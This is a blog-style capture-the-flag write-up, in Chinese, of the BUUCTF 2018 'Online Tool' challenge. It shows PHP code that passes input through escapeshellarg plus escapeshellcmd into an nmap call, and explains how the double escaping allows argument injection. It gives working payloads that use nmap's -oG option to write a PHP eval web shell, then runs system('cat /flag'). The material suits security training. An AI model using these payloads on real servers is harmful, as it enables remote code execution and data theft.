




BUUCTF: [BUUCTF 2018]Online Tool

原创

末初  于 2020-12-04 01:29:47 发布  584  收藏

分类专栏: [CTF_WEB_Writeup](#)

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[https://buuoj.cn/challenges#\[BUUCTF%202018\]Online%20Tool](https://buuoj.cn/challenges#[BUUCTF%202018]Online%20Tool)

Challenge 1181 Solves ×

[BUUCTF 2018]Online Tool

1

PHP RCE

点击启动靶机。

Instance Info

Remaining Time: 8918s

<http://f3ca0213-d0c8-4f20-8d72-aa8a1a1f02d8.node3.buoj.cn>

Destroy this instance Renew this instance

Flag Submit

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```

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

```

考查点:

- [PHP escapeshellarg\(\)+escapeshellcmd\(\) 之殇](#)
- [escapeshellarg\(\)详解](#)
- [escapeshellcmd\(\)详解](#)
- Nmap [-oG](#) 参数

利用 [escapeshellarg\(\)+escapeshellcmd\(\)](#) 的两次转义，导致闭合单引号后即可执行任意参数，然后利用Nmap的 [-oG](#) 参数写入 shell

```
?host='<?php phpinfo();?> -oG 1.php '
```

```
?host='<?php eval($_POST["cmd"]);?> -oG shell.php '
```

Nmap 7.70 scan initiated Thu Dec 3 17:25:46 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG shell.php \

PHP Version 5.6.40	
System	Linux 95e5b6d0d0ed 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64
Build Date	Jan 31 2019 01:29:58
Configure Command	'./configure' '--build=x86_64-linux-musl' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--enable-fpm' '--with-fpm-user=www-data' '--with-fpm-group=www-data' '--disable-cgi' 'build_alias=x86_64-linux-musl' 'CFLAGS=-fstack-protector-strong -fPIC -fpie -O2' 'LDFLAGS=-Wl,-O1 -Wl,-hash-style=both -pie' 'CPPFLAGS=-fstack-protector-strong -fPIC -fpie -O2'
Server API	FPM/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/usr/local/etc/php
Loaded Configuration File	(none)
Scan this dir for additional .ini files	/usr/local/etc/php/conf.d
Additional .ini files parsed	(none)
PHP API	20131106
PHP Extension	20131226

Encryption Encoding SQL XSS Other

Load URL Split URL Execute

Post data Referer User Agent Cookies Clear All

cmd=phpinfo();

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Nmap 7.70 scan initiated Thu Dec 3 17:25:46 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG shell.php \flag(3a48b31c-b134-44f4-921b-361baee7eae)d \ # Nmap done at Thu Dec 3 17:25:46 2020 -- 0 IP addresses (0 hosts up) scanned in 0.24 seconds

Encryption Encoding SQL XSS Other

Load URL Split URL Execute

Post data Referer User Agent Cookies Clear All

cmd=system("cat /flag");

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PS: 这里我有个疑问, 网上看的题解里面好像都不能清楚的解释为什么 `?host='<?php eval($_POST["cmd"]);?> -oG shell.php '` 这里最后的单引号的前面要加个空格, 不太明白, 有师傅清楚的话, 麻烦评论区指点一下, 谢谢